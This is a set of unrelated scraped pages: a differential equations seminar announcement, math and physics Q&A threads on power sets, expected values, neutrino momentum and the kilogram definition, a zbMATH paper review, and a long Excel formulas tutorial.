organized by P.Quittner, M.Fila and R.Kollar
Moderator: sevcovic
### Seminar 12.10.2017: Jin Takahashi
Seminár z kvalitatívnej teórie diferenciálnych rovníc
Seminar on Qualitative Theory of Differential Equations
Thursday 12.10.2017 at 15:00 Lecture room M-223
Jin Takahashi (Tohoku University):
Solutions with a higher dimensional singular set for the heat equation with absorption
Abstract:
In this talk, we consider nonnegative solutions with a time-dependent $m$-dimensional singular set
for the linear heat equation in $\mathbf{R}^n$ with an absorption term $-u^p$.
Here the conditions $n-m\geq3$ and $p>1$ and some assumption on the singular set are imposed.
We show that if $p\geq (n-m)/(n-m-2)$, there is no singular solution.
On the other hand, in the case $p< (n-m)/(n-m-2)$, we construct two types of global-in-time singular solution.
We also show the uniqueness of solutions in some class.
This is a joint work with Hikaru Yamamoto (Tokyo University of Science).
quittner
Posts: 73
Joined: Fri Oct 12, 2012 11:21 am
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2018-02-25 01:30:43
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https://math.stackexchange.com/questions/431074/power-set-and-set-of-all-mappings
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Power set and set of all mappings
I'm working with the Terence Tao's Analysis book. And I have a question in the part of set theory.
As power set axiom, Tao use the set of all function: "If X, and Y be sets. Then there exist a set which consist of all the functions from X to Y."
Using that axiom and the replacement axiom, I need to prove:
"Let X be a set. Then $$\left \{ A : A \subseteq X \right \} \$$ is a set"
I have worked in the next way, but I'm not satisfy with the result:
$$Let\: \; P(X) : = \left \{ A : A\subseteq X \right \}$$ $$\ g: \left \{ 0,1 \right \}^{X}\rightarrow P(X)$$ $$\forall f \left ( f \in \left \{ 0,1 \right \}^{X} \wedge g(f) := f^{-1} [\, \left \{ 1 \right \} \, ] \right )$$
Then, using the axiom of replacement and the axiom of power set (as the book use it) I get the next:
$$G: = \left \{ g(f) : f \in \left \{ 0,1 \right \}^{X} \right \}$$
And I supposed that I need: G = P(X)
Therefore $$A \in G \leftrightarrow f[A] = \left \{ 1 \right \}$$
And to some B be in P(X), we have: $$B\in P(X) \leftrightarrow B \subseteq X$$ and as the images conserves the inclusion $$f [B] \subseteq f[X]$$
I thought that only I needed to show it $$f [A] \subseteq f[X]$$ but I'm stack here, so my approach was the next:
$$\bigcup_{f\in \left \{ 0,1 \right \}^{X} } f [X] = \left \{ 0,1 \right \}$$
$$f[A] \subseteq \bigcup_{f\in \left \{ 0,1 \right \}^{X} } f [X]$$
and in other exercise I proved that the image conserves the union, so "I can conclude something a little odd (haha)"
$$A\subseteq \bigcup X = X$$
I really don't feel comfortable with the result and also I don't know how to show :
$$P(X)\subseteq G$$
(sorry for my mistakes, the English is not my mother language).
My question is indeed how can I prove that?
• What is it that you're not satisfied with? That's the usual way of establishing a correspondence $2^X \simeq \mathscr P(X)$. In fact, what is your question? Please edit to clarify. – Lord_Farin Jun 27 '13 at 19:12
• When you say, "Let $P(X)=\dots$," how do you know you can do that? And if you defining a class rather than a set, how can you define $g$ as a function with a class as its target? – Thomas Andrews Jun 27 '13 at 19:14
• You are on the right track, but probably want $P(X):=\{ f^{-1}[\{1\}]\mid f\in \{0,1\}^X\}$. – Hagen von Eitzen Jun 27 '13 at 19:20
• @ThomasAndrews Andrews The exercise is indeed show that P(X) is a set. Assuming only as a power set, the set of all function, and the axiom of replacement. So, I don't know. some hint? – Jose Antonio Jun 27 '13 at 19:23
• @HagenvonEitzen in this context is arbitrary use the inverse map of the set {1} instead of {0}. The book didn't speak about it, thanks for the hint :) – Jose Antonio Jun 27 '13 at 19:58
You cannot begin by letting $\wp(X)=\{A:A\subseteq X\}$, because you don’t yet know that this object exists: that’s what you’re trying to prove. You do, however, know that $\{0,1\}^X$ exists. Let $\varphi(x,y)$ be the following formula:
$$\left(x\in\{0,1\}^X\land y=x^{-1}[\{1\}]\right)\lor\left(x\notin\{0,1\}^X\land y=0\right)$$
Then $\varphi(x,y)$ is functional: $\forall x\exists!y\,\varphi(x,y)$. Now you can apply replacement to conclude that there is a set $G$ such that
$$y\in G\leftrightarrow\exists x\in\{0,1\}^X\,\varphi(x,y)\;,$$
i.e., $$y\in G\leftrightarrow\exists f\in\{0,1\}^X\left(y=f^{-1}\big[\{1\}\big]\right)\;.\tag{1}$$
It remains to show that $\forall y(y\in G\leftrightarrow y\subseteq X)$, i.e., that this set $G$ really is the power set of $X$.
It’s straightforward to see that $\forall y(y\in G\to y\subseteq X)$. For the other implication, suppose that $y\subseteq X$, and define a function $f:X\to\{0,1\}$ that demonstrates (using $(1)$) that $y\in G$.
• Thanks, I need to take a moment and think with detail in all the steps:) – Jose Antonio Jun 28 '13 at 2:49
• I don't understand the last point. If $$y\subseteq X \; and\; f: X\rightarrow \left \{ 0,1 \right \}$$ It is obvious that f is in the set define above, the set of all functions maps X into {0,1}, but It's not clear for me that, if $$y\subseteq X \rightarrow y\in G$$ as the definition says, if $$y\in G\leftrightarrow y =f^{-1} [\left \{ 1 \right \}]\leftrightarrow f[y] = \left \{ 1 \right \}$$ but what's happen if f maps Y only in {0} ? (sorry, maybe it is a kinda stupid question but I don't get it :P) – Jose Antonio Jun 28 '13 at 3:30
• I think I got it: if f is defined as follow: if f is 1 when some x is in Y and is 0 if x is not in Y (It's a characteristic function, right?) I'm happy :D – Jose Antonio Jun 28 '13 at 4:38
• @user84164: Yes, you got it: you want to define $f$ to be the characteristic function of $y$, and then you have $y=f^{-1}[\{1\}]$ and therefore $y\in G$ by $(1)$. – Brian M. Scott Jun 28 '13 at 7:58
• Hi again, before all thanks. I have a little question: is it possible to establish a collection of partial function between a set X into Y and show it is a set, only with generate a set consisting: $$\left\{ y^{x}: y\in P(Y) \wedge x\in P(X) \right\}$$ or is too naive to do that :P? – Jose Antonio Jun 28 '13 at 20:03
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2020-06-05 20:07:01
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https://zbmath.org/?q=an%3A1221.05196
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# zbMATH — the first resource for mathematics
On the eigenvalues of Cayley graphs on the symmetric group generated by a complete multipartite set of transpositions. (English) Zbl 1221.05196
Summary: Given a finite simple graph $$\mathcal G$$ with $$n$$ vertices, we can construct the Cayley graph on the symmetric group $$S _{n }$$ generated by the edges of $$\mathcal G$$, interpreted as transpositions. We show that, if $$\mathcal G$$ is complete multipartite, the eigenvalues of the Laplacian of Cay $$(\mathcal G)$$ have a simple expression in terms of the irreducible characters of transpositions and of the Littlewood-Richardson coefficients. As a consequence, we can prove that the Laplacians of $$\mathcal G$$ and of Cay $$(\mathcal G)$$ have the same first nontrivial eigenvalue. This is equivalent to saying that Aldous’s conjecture, asserting that the random walk and the interchange process have the same spectral gap, holds for complete multipartite graphs.
##### MSC:
05C25 Graphs and abstract algebra (groups, rings, fields, etc.) 05C50 Graphs and linear algebra (matrices, eigenvalues, etc.) 05C81 Random walks on graphs
Full Text:
##### References:
[1] Aldous, D.: www.stat.berkeley.edu/ aldous/research/op/sgap.html [2] Biggs, N.: Algebraic Graph Theory, 2nd edn. Cambridge Mathematical Library. Cambridge University Press, Cambridge (1993) [3] Caputo, P., Liggett, T.M., Richthammer, T.: A recursive proof of Aldous’ spectral gap conjecture. arXiv:0906.1238v3 (2009) · Zbl 1203.60145 [4] Chung, F.R.K.: Spectral Graph Theory. CBMS Regional Conference Series in Mathematics, vol. 92. American Mathematical Society, Providence (1997) · Zbl 0867.05046 [5] Curtis, C.W., Reiner, I.: Representation Theory of Finite Groups and Associative Algebras. Pure and Applied Mathematics, vol. XI. Interscience Publishers, a division of John Wiley & Sons, New York (1962) · Zbl 0131.25601 [6] Diaconis, P.; Shahshahani, M., Generating a random permutation with random transpositions, Z. Wahrscheinlichkeitstheor. Verw. Geb., 57, 159-179, (1981) · Zbl 0485.60006 [7] Flatto, L.; Odlyzko, A. M.; Wales, D. B., Random shuffles and group representations, Ann. Probab., 13, 154-178, (1985) · Zbl 0564.60007 [8] Friedman, J., On Cayley graphs on the symmetric group generated by transpositions, Combinatorica, 20, 505-519, (2000) · Zbl 0996.05066 [9] Godsil, C., Royle, G.: Algebraic Graph Theory. Graduate Texts in Mathematics, vol. 207. Springer, New York (2001) · Zbl 0968.05002 [10] Handjani, S.; Jungreis, D., Rate of convergence for shuffling cards by transpositions, J. Theor. Probab., 9, 983-993, (1996) · Zbl 0878.60043 [11] Ingram, R. E., Some characters of the symmetric group, Proc. Am. Math. Soc., 1, 358-369, (1950) · Zbl 0054.01103 [12] James, G., Kerber, A.: The Representation Theory of the Symmetric Group. Encyclopedia of Mathematics and its Applications, vol. 16. Addison-Wesley, Reading (1981) · Zbl 0491.20010 [13] Koma, T.; Nachtergaele, B., The spectral gap of the ferromagnetic XXZ chain, Lett. Math. Phys., 40, 1-16, (1997) · Zbl 0880.60103 [14] Morris, B., Spectral gap for the interchange process in a box, Electron. Commun. Probab., 13, 311-318, (2008) · Zbl 1189.60180 [15] Sagan, B.E.: The Symmetric Group: Representations, Combinatorial Algorithms, and Symmetric Functions, 2nd edn. Graduate Texts in Mathematics, vol. 203. Springer, New York (2001) · Zbl 0964.05070 [16] Starr, S., Conomos, M.: Asymptotics of the spectral gap for the interchange process on large hypercubes. arXiv:0802.1368v2 (2008)
This reference list is based on information provided by the publisher or from digital mathematics libraries. Its items are heuristically matched to zbMATH identifiers and may contain data conversion errors. It attempts to reflect the references listed in the original paper as accurately as possible without claiming the completeness or perfect precision of the matching.
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2021-06-17 09:22:39
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http://physics.stackexchange.com/questions/11930/muon-neutrino-momentum-distribution
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# muon neutrino momentum distribution
muon neutrino momentum distribution
I have read the public data of T2K ,KEK to find this subject, I'm curiously that it's coincides with my prediction perfectly: The neutrino get its momemtum by its effect-partner, which is obvious in the reactional formula, especialy that by me. You can find the figures Here ( htis link is a blog including the detialed idea) the first is the radium function of e, the second cut from paper from the lab, the third is the momemtum spectrum. Do any one find the simlar distribution of other particle? I just work on Hep just for a few months.
-
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2013-05-24 07:56:42
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https://www.physicsforums.com/threads/expected-value.78274/
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# Expected Value
1. Jun 7, 2005
### jetoso
Let X be a random variable with Uniform(0,1) distribution. Let Y = X^2 + 1. Compute E[Y].
The question here is if I should compute the expected value of Y integrating from 0 to 1 for x(x^2 + 1)dx?
2. Jun 7, 2005
### juvenal
Two ways to do it:
1. Calculate the expected value of x^2 + 1, integrating over x from 0 to 1.
2. Calculate the expected value of y, integrating over y from 1 to 2.
3. Jun 7, 2005
### mathman
Your integrand is wrong - leave out the x outside the parenthesis.
4. Jun 8, 2005
### jetoso
I am a little confused here; for nonnegative r.v., say X, it is suppose that E[X]= integral from 0 to infinity of xF(dx) or xf(x); now, in this case which one is the pdf (probability density function)?
For the second case, could you please explain me why integration over y goes from 1 to 2?
Thanks.
5. Jun 8, 2005
### juvenal
First case - pdf (=f(x)) is uniform and takes on the value of 1 from 0 to 1, 0 outside.
Second case, change of variables. y = x^2 + 1. y(0) = 1. y(1) = 2.
6. Jun 8, 2005
Thank you!
7. Jun 8, 2005
### jetoso
How was that? Do you mean: Integration from 0 to 1 of (x^2+1)dx?
8. Jun 8, 2005
### mathman
yes
In general if X is a random variable g(X) any function of X and f(x) the probability density function for X, then E(g(X))= integral g(x)f(x)dx.
In your case, f(x)=1 for 0<x<1, and f(x)=0 otherwise, while g(X)=X^2+1.
9. Jun 20, 2005
### jetoso
If we were also interested in finding Var[Y] and Cov[X,Y], how can I compute, for instance E[Y^2] and E[XY]?
10. Jun 20, 2005
### mathman
Y2=X4+2X2+1
XY=X3+X
Thus you simply integrate the above X expressions beteeen 0 and 1.
11. Jun 22, 2005
### jetoso
I just realized the following:
E[Y] = E[X^2 + 1 ] = E[X^2] + E[1] = 1/3 + 1 = 4/3
E[Y^2] = E[(X^2 + 1)^2] = E[(X^4 + 2X^2 + 1)] = 1/5 + 2/3 + 1 = 28/15
Var[Y] = E[Y^2] - (E[Y])^2 = 28/15 - (4/3)^2 = 28/15 - 16/9 = 4/45
E[XY] = E[X(X^2 + 1)] = E[X^3 + X] = E[X^3] + E[X] = 1/4 + 1/2 = 3/4
Cov[X,Y] = E[XY] - E[X]E[Y] = 3/4 - (1/2)(4/3) = 3/4 - 2/3 = 1/12
Am I right? Even doing the integration version the results hold.
Last edited: Jun 23, 2005
12. Jun 23, 2005
### mathman
You certainly have the right idea. I haven't checked your arithmetic thoroughly, but it looks ok.
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2018-11-16 11:24:05
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https://physics.stackexchange.com/questions/408134/why-cant-we-define-fundamental-unit-of-mass/408141
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# Why can't we define fundamental unit of mass? [duplicate]
In my physics textbook of class $11^{th}$ The kilogram was defined as :-
mass of the platinum-iridium standard cylinder kept at Sevre's France
But this isn't a proper and scientific definition of an important fundamental unit.
When we have advanced so much in atomic physics that we are creating matter, Then why are we unable to define unit of mass?
## 2 Answers
Mass is the last fundamental unit that is still defined like that.
Previously, meter was also defined as the length of a specific item, kept also at Sevres, in France (since the metric system has been popularized starting from France).
But the issue with mass, is that mass and energy are kind of interchangeable, so that defining a mass unit by using specific atoms is very tricky if you want the definition to be usable everywhere, that is fairly easily reproductible with an experiment method.
The current definition of the meter is not very easy to use, but it fairly accessible and absolutely reliable and reproductible.
The next definition of mass unit, as per the existing answer, is not using the same path, an rely on a fundamental constant and leverage on the meter, that can be defined precisely with a experiment method.
The definition of the kilogram is to be changed in 2019, see Proposed redefinition of SI base units (wiki).
The current proposal is to indirectly define the kilogram via an exact specification of the Planck constant: this is possible because the dimension of that constant can be expressed as a combination of mass, time and distance. The kilogram would then be defined via the second and the meter.
• is it nice for a definition to depend on other definitions? – Abhishek May 25 '18 at 9:29
• How would you do otherwise? – Stéphane Rollandin May 25 '18 at 9:30
• using exact value of avogadro's number? – Abhishek May 25 '18 at 9:31
• So you would be using the definition of the mole. – Stéphane Rollandin May 25 '18 at 9:35
• This is an interesting discussion, but comments are not meant for that. I suggest you ask a new question about this. – Stéphane Rollandin May 25 '18 at 9:38
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2019-12-10 11:29:54
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http://aprendeconalf.es/office/excel/manual/formulas.html
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Spreadsheets are used mainly for doing calculations and one of the most powerful features of spreadsheets are calculation formulas. In this section we will see how to use them.
## Enter formulas
To enter a formula in a cell always start typing an equal sign = and then the formula expression.
Formula expressions can contain arithmetic operators: addition +, subtraction -, multiplication *, division / and powers ^ and named predefined functions like SUM, EXP, SIN, etc. This allow to use Excel as a calculator. When Excel evaluates expressions first evaluate named functions, then powers, then products and quotients, and finally additions and subtractions, but it’s possible to use parenthesis to force the evaluation of a subexpression before.
Example Assuming that cells A1, B1 and C1 contain the values 6,3 and 2 respectively, the next table shows some formulas and their respective results.
Formula Result
A1+B1-C1 7
A1+B1*C1 12
(A1+B1)*C1 18
A1/B1-C1 0
A1/(B1-C1) 6
A1+B1^C1 15
(A1+B1)^C1 81
Example. The animation below shows how to enter the formula 4+2 in cell A1, the formula 4-2 in cell B1, the formula 4*2 in cell C1, the formula 4/2 in cell D1, the formula 4^2 in cell E1 and the formula ((4+1)*2)^3 in cell F1.
## Using relative and absolutes cell references in formulas
Formula expressions can content references to cells. When Excel evaluates formulas it replace every cell reference by its content before doing the calculation.
Example. The animation below shows how to use the formula =A1+B1 to add up the content of cells A1 and B1 in cell C1.
References that are formed by the name of the cell or range are known as relative references, because referenced cells change When you copy a cell with a formula and paste in another cell. In general, when you copy a formula $n$ columns to the right and $m$ rows down, the referenced cells in the formulas will be updated by the cells $n$ columns to the right and $m$ rows down, an the same if you copy the cell to the left or top.
Example. The animation below shows how to copy the formula =A1+B1 in cell C1, with relative references to A1 and B1, to the cell E4, that is 2 columns to the right and 3 rows down. Observe how the formula in cell E4 is updated to =C4+D4.
A common way of copying the formula of a cell to adjacent cells is clicking the bottom-right corner of the cell and dragging the cursor to the desired range of cells.
Example. The animation below shows how to generate the first ten numbers of the Fibonacci sequence. Cells A1 and B1 contains the two first numbers of the serie and cell C1 the formula =A1+B1 that add the two first numbers up and gives the third number of the serie. For generating the rest of the serie it is enough to copy the formula of cell C1 to the range D1:J1. Observe how references in formulas of these cells are updated.
Although relative references are very helpful in many cases, sometimes we need the references in a formula to remain fixed when copied elsewhere.
In that case we need to use absolute references, that are like relative references but preceding the column name or the row name with a $ sign to fix either the row, the column or both on any cell reference. Example. The animation below shows how to calculate the IVA of a list of prices. Cells A2 to A5 contains the prices and cell F1 contains the IVA percentage. For calculating the IVA of first price we use the formula A2*F$4/100 where we fix the row of cell F4 because we wan it remain fixed when copying the formula down. Observe how the reference to cell F4 doesn’t change when copying the formula down.
Example. The animation below shows how to calculate the multiplication table using absolute references.
In general, if you want to fix a reference in a formula that you pretend to copy horizontally, you must precede the column name with a $ sign; and if you pretend to copy the formula vertically, you must precede the row name with a $ sign.
### Naming cells and ranges
Cell references are somewhat abstract, and don’t really communicate anything about the data they contain. This makes formulas that involve multiple references difficult to understand. To overcome this difficulty Excel allows to give name to cells or ranges. To define a cell or range name, select or cell range and click the Define Name button of the Defined Names panel in the ribbon’s Formulas tab. In the dialog that appears give a name to the cell and click OK. Cell or range names must begin with a letter and can’t include spaces.
You can also set the name of a cell or range in the name box of the input bar.
After that you can use that cell o range name in any formula. Observe that references with names are always absolutes.
Example. The animation below shows how to calculate the IVA of a list of prices using a cell name for the cell that contains the IVA percentage.
## Functions
Excel has a huge library of predefined functions that performs different calculations organised by categories. There are three ways to to enter a function in a formula expression:
• Type it rawly if you know its name and syntax.
• Select it from the buttons of the Functions Library panel in the ribbon’s Formulas tab.
• Click the Insert Function button from the input bar. This will show you a dialog where you can type some key words for looking the desired function an select it. This dialog also shows help about the function and its syntax.
## Numeric functions
Numeric functions work with numbers or cells that contains numbers. They are the most frequently used.
### SUM function
The most common function is SUM that calculates the sum of several numbers. Its syntax is SUM(number1,number2,...) where number1, number2, etc. are the numbers or cell ranges that you want to sum.
Example The animation below shows how to calculate the sum of the subject grades for every student in a course.
### SUMIF function
The SUMIF function its similar to the SUM function but only sum numbers that satisfied a given criterion. Its syntax is SUMIF(range,criterion,sum-range) range is the cell range to check the criterion, criterion is the condition expression of the criterion, sum-range is the range with the values to sum (if this argument is not provided, the sum is calculated over the values of the range argument that meet the criterion).
The expression with the condition can be a number, a cell reference, a logical expression starting with a logical operator (=,>,<,>=,<=,<>) in double quotes, or a pattern text with wildcards like the question mark ? (that matches any character) or the asterisk * (that matches any character string) in double quotes.
Example The animation below shows how to calculate the sum of the grades greater than or equal to 5 for every student in a course.
### COUNT function
The COUNT function counts the number of cells with numbers in a range. Its syntax is COUNT(value1,value2,...) where value1, value2, etc. are the values or cell ranges to count.
Example The animation below shows how to calculate the number of subjects grades for every student in a course.
### COUNTIF function
The COUNTIF function its similar to the COUNT but only counts number of cells that satisfied a given criterion. Its syntax is SUMIF(range,criterion) range is the cell range to check the criterion and criterion is the condition expression of the criterion,.
The expression with the condition can be a number, a cell reference, a logical expression starting with a logical operator (=,>,<,>=,<=,<>) in double quotes, or a pattern text with wildcards like the question mark ? (that matches any character) or the asterisk * (that matches any character string) in double quotes.
Example The animation below shows how to calculate the number of passed subjects (grade greater than or equal to 5).
### MIN function
The MIN function calculates the minimum value of several numbers. Its syntax is MIN(number1,number2,...) where number1, number2, etc. are numbers or cell ranges for which you want the minimum.
Example The animation below shows how to calculate the minimum grade for every student in a course.
### MAX function
The MAX function calculates the maximum value of several numbers. Its syntax is MAX(number1,number2,...) where number1, number2, etc. are numbers or cell ranges for which you want the maximum.
Example The animation below shows how to calculate the maximum grade for every student in a course.
### ISNUMBER function
The ISNUMBER function checks if a value is number or not and returns the logical value TRUE in the first case and FALSE in the second. Its syntax is ISNUMBER(value) where value is a value or a cell reference.
Example The animation below shows how to check if the cells of a range contain numbers or not. Observe that in the example cells with numbers are aligned to the right and that dates are numbers.
## Logical functions
Logical functions are very useful to take decisions.
### IF function
The most important logical function is the IF function, that checks whether a condition is met and returns a value if is true or another value if is false. Its syntax is IF(condition,true_value,false_value), where condition is the logical condition to test, true_value is the returned value if the condition is true, and false_value is the returned value if the condition is false.
In the logical condition expression you use logical operators like equal =, not equal <>, greater >, less <, greater than or equal to >=, less than or equal to <=, etc. In the true or false value you can put numbers, text in double quotes, dates, cell references or other formulas.
Example The animation below shows how to use the IF function to decide if students pass or don’t pass a course depending on whether the average grade is greater than or equal to 5.
### AND function
The AND function will return TRUE if all its arguments are true and FALSE if at least one argument is false. Its syntax is AND(contidion1,condition2,...), where condition1, condition2, etc are logical conditions.
The following table, known as a truth table, shows the returned value by the AND function according to the corresponding values of its arguments.
A B AND(A,B)
TRUE TRUE TRUE
TRUE FALSE FALSE
FALSE TRUE FALSE
FALSE FALSE FALSE
Example. The animation below shows how to use the AND function to see which students have passed all the subjects of a course with a grade greater than or equal to 5. Observe that conditions that involve blank cells are always false.
### OR function
The OR function will return TRUE if one or more of its arguments are true and FALSE if all its arguments are false. Its syntax is OR(contidion1,condition2,...), where condition1, condition2, etc are logical conditions.
The following truth table shows the returned value by the OR function according to the corresponding values of its arguments.
A B OR(A,B)
TRUE TRUE TRUE
TRUE FALSE TRUE
FALSE TRUE TRUE
FALSE FALSE FALSE
Example. The animation below shows how to use the OR function to see which students have not passed some subjects of a course with a grade greater than or equal to 5.
### NOT function
The NOT function will return TRUE if its argument is FALSE, and FALSE if its argument is TRUE. Its syntax is NOT(condition), where condition is a logical condition.
The following truth table shows the returned value by the NOT function according to the corresponding values of its argument.
A NOT(A)
TRUE FALSE
FALSE TRUE
## Date and time functions
Date and time functions performs operations with dates and times respectively.
Excel convert automatically any entry with with a date or time formats into a serial number. For dates, this serial number represents the number of days that have elapsed since the beginning of the twentieth century (so that January 1, 1900, is serial number 1; January 2, 1900, is serial number 2; and so on). For times, this serial number is a fraction that represents the number of hours, minutes, and seconds that have elapsed since midnight (so that 00:00:00 is serial number 0.00000000, 12:00:00 p.m. (noon) is serial number 0.50000000; 11:00:00 p.m. is 0.95833333; and so on).
### Time elapsed between two dates or times.
To calculate the time elapsed between two dates or times, just enter a formula that subtracts the earlier date or time from the later date or time. In the case of dates, Excel will return the number of days between these dates. If you want to express it in year units, just divide the number of days by 365.25. In the case of times, Excel will return the number of hours between these times. If you want to express it in days unit, just change the cell format to General.
Example. The animation below shows how to calculate the time elapsed between two dates and two times.
### TODAY function
The function TODAY returns the system date (usually the current date). Its syntax is TODAY() and this functions doesn’t have arguments.
Example. The animation below shows how to calculate current age of a person using the TODAY function.
### DATE function
The function DATE returns a date serial number for the date specified by the year, month, and day argument. Its syntax is DATE(year,month,day), where year is the year, month is the month (in number) and day is the day.
Example. The animation below shows how to calculate the date given the year, moth and day.
### DAY, WEEKDAY, MONTH and YEAR functions
The DAY function returns the day of the month of a date. Its’ syntax is DAY(date), where date is the serial number of the date.
The WEEKDAY function returns the day of the week of a date. Its’ syntax is WEEKDAY(date,type), where date is the serial number of the date and type has three possible values (1: 1 equals Sunday and 7 Saturday, 2: 1 equals Monday and 7 equals Sunday; 3: 0 equals Monday and 6 equals Sunday).
The MONTH function returns the number of the month of a date. Its’ syntax is MONTH(date), where date is the serial number of the date.
The YEAR function returns the year of a date. Its’ syntax is YEAR(date), where date is the serial number of the date.
Example. The animation below shows how to calculate the day, week day, month and year of a date.
### NOW function
The function NOW returns the system time (usually the current time). Its syntax is NOW() and this functions doesn’t have arguments.
Example. The animation below shows how to calculate current age of a person using the TODAY function.
### TIME function
The function TIME returns a time serial number for the time specified by the hours, minutes and seconds argument. Its syntax is TIME(hours,minutes,seconds), where year is the year, month is the month (in number) and day is the day.
Example. The animation below shows how to calculate the date given the year, moth and day.
### HOUR, MINUTE and SECOND functions
The HOUR function returns the hour of a time. Its’ syntax is HOUR(time), where time is the serial number of the time.
The MINUTE function returns the minute of a time. Its’ syntax is MINUTE(time), where time is the serial number of the time.
The SECOND function returns the hour of a time. Its’ syntax is SECOND(time), where time is the serial number of the time.
Example. The animation below shows how to calculate the hour, minute and second of a time.
## Text functions
Text functions performs different actions on text data type.
### TEXT function
The TEXT function converts a number into text using a format specified by the users. Its syntax is TEXT(number,format) where number is a number or a cell reference that you want to convert to text, and format is the format pattern for the text in double quotes. In that pattern you can use a 0 for numbers, . for decimal separator, d for days, m for months, y years, h for hours, m for minutes and s for seconds. Also you can use currency signs and the percentage sign %.
Example The animation below shows how to convert different numbers, dates and times to text.
### VALUE function
The VALUE function converts a text string into a number. Its syntax is VALUE(text) where text is a text or a cell reference with text that represents a number.
Example The animation below shows how to convert different text strings representing numbers, times and percentages to numbers.
### T function
The T function checks if a value is text and if so, returns the text; Otherwise, the function returns an empty text string. Its syntax is T(value) where value is a value or a cell reference.
Example The animation below shows how to check if the cells of a range contain text or not. Observe that in the example cells with text are aligned to the left.
### ISTEXT function
The ISTEXT function checks if a value is text or not and returns the logical value TRUE in the first case and FALSE in the second. Its syntax is ISTEXT(value) where value is a value or a cell reference.
Example The animation below shows how to check if the cells of a range contain text or not. Observe that in the example cells with text are aligned to the left.
### LEN function
The LEN function counts the number of characters of a text string. Its syntax is LEN(text) where text is a text string or a cell reference with text.
Example The animation below shows how to count the number of characters of several words. Observe that numbers are previously converted to text, and that blank cells have 0 characters.
### CONCATENATE function
The CONCATENATE function joins together two or more text strings into a combined text string. Its syntax is CONCATENATE(text1,text2,...) where text1, text2, … are text strings or cell ranges with text to join.
Example The animation below shows how to concatenate the first name and the last name of some persons with a blank space between them.
### FIND and SEARCH functions
The FIND function returns the position of a specified character or sub-string within a given text string. Its syntax is FIND(find_text,within_text,[start_num]) where find_text is the sub-string to find, within_text is text where to find the sub-string, and start_num is an optional argument that specifies the position in the within_text string, from which the search should begin (if omitted the search starts from the first character). The search is case-sensitive.
The SEARCH functions works the same that the FIND function except that is not case-sensitive.
Example The animation below shows how to calculate the position of some text sub-strings in a text with the FIND and the SEARCH functions.
### SUBSTITUTE functions
The SUBSTITUTE function replaces one or more instances of a specified text sub-string with another one supplied within a given text string. Its syntax is SUBSTITUTE(text, old_text, new_text, [instance_num]) where text is the text where to perform the substitution, old_text is the sub-string to replace, new_text is the new text string that it is used to replace the old_text string, and instance_num is an optional argument that specifies which occurrence of the old_text should be replaced by the new_text (if this argument is not specified all instances of old_text are replaced with the new_text). The search is case-sensitive.
Example The animation below shows how to replace some sub-strings in some texts by other text strings.
### LOWER and UPPER functions
The LOWER function converts all characters in a text string to lower case. Its syntax is LOWER(text) where text is the text to convert to lower case.
The UPPER functions works like the LOWER function but it converts text to upper case.
Example The animation below shows how to convert to lower case some text strings.
## Database functions
See the Database functions section.
## Mathematical functions
Some common mathematical functions included in the function library are exponentials, logarithmic and trigonometric.
### SQRT function
The SQRT function calculates the root square of a number. Its syntax is SQRT(number) where number is a number or a cell reference for which you want the square root.
Example The animation below shows how to calculate the square root of grades in a course.
### EXP function
The EXP function calculates the exponential of a number. Its syntax is EXP(number) where number is a number or a cell reference for which you want the exponential.
Example The animation below shows how to calculate the exponential of grades in a course.
### LN and LOG functions
The LN function calculates the natural logarithm of a number (that is with base $e$). Its syntax is LN(number) where number is a number or a cell reference for which you want the natural logarithm.
The LOG function calculates the logarithm of a number in a given base. Its syntax is LOG(number,[base]) where number is a number or a cell reference for which you want the logarithm and base is the base of the logarithm (if this argument is omitted, then base 10 is taken).
Example The animation below shows how to calculate the natural logarithm and the base 10 logarithm of grades in a course.
### PI function
The PI function returns the constant value of $\pi$. Its syntax is PI() without arguments.
### SIN, COS and TAN functions
The SIN function calculates the sine of an angle in radians. Its syntax is SIN(angle) where angle is a number or a cell reference with the radians for which you want the sine.
The COS function calculates the cosine of an angle in radians. Its syntax is COS(angle) where angle is a number or a cell reference with the radians for which you want the cosine.
The TAN function calculates the tangent of an angle in radians. Its syntax is TAN(angle) where angle is a number or a cell reference with the radians for which you want the tangent.
If angles are in degrees, they have to be converted to radians before with the function RADIANS(degrees) where degrees is a number or a cell reference with the degrees that you want to convert to radians.
Example The animation below shows how to calculate the sine, cosine and tangent of several angles. Observe that the sine of an angle o 180 degrees is not exactly 0 because the RADIANS function does not calculate the radians corresponding to a number of degrees with total accuracy.
### ROUND function
The ROUND function rounds a number to a specified number of digits. Its syntax is ROUND(number,digits) where number is a number or a cell reference that you want to round and digits is the number of digits to which you want to round the number.
Example The animation below shows how to round the grades in a course.
### ABS function
The ABS function calculates the absolute value of a number. Its syntax is ABS(number) where number is a number or a cell reference for which you want the absolute value.
## Statistical functions
Excel provides functions to calculate the main descriptive statistics, probability distributions and also to make inferences about the population. For an introductory text to Statistics visit the Statistic manual page.
### AVERAGE function
The AVERAGE function calculates the arithmetic mean of several numbers. Its syntax is AVERAGE(number1,number2,...) where number1,number2, etc. are the numbers or cell ranges for which you want the average.
Example The animation below shows how to calculate the average grade for every student in a course. Observe that the average grade is well calculated even when there are blank cells in the range.
### AVERAGEIF function
The AVERAGEIF function calculates the arithmetic mean of numbers in a cell range that meet a given criterion. Its syntax is AVERAGEIF (range,criterion,[average-range]) where range is the cell range to check the criterion, criterion is the condition expression of the criterion, average-range is the range with the values to average (if this argument is not provided, the average is calculated over the values of the range argument that meet the criterion).
The expression with the condition can be a number, a cell reference, a logical expression starting with a logical operator (=,>,<,>=,<=,<>) in double quotes, or a pattern text with wildcards like the question mark ? (that matches any character) or the asterisk * (that matches any character string) in double quotes.
Example The animation below shows how to calculate the average grade of students with a grade greater than or equal to 5 for every subject in a course.
### MEDIAN function
The MEDIAN function calculates the median of several numbers. Its syntax is MEDIAN(number1,number2,...) where number1,number2, etc. are the numbers or cell ranges for which you want the median.
Example The animation below shows how to calculate the median grade for every student in a course. Observe that the median grade is well calculated even when there are blank cells in the range.
### MODE function
The MODE function calculates the mode of several numbers. Its syntax is MODE(number1,number2,...) where number1,number2, etc. are the numbers or cell ranges for which you want the mode.
Example The animation below shows how to calculate the mode grade for every student in a course. Observe that the mode grade is not calculated when there are not repetitions of values.
### PERCENTILE.EXC function
The PERCENTILE.EXC function calculates the k-th percentile of numbers in a cell range. Its syntax is PERCENTILE.EXC(range,k) where range is the cell range with the values for which you want the percentile, and k is the relative frequency (between 0 and 1) of the percentile.
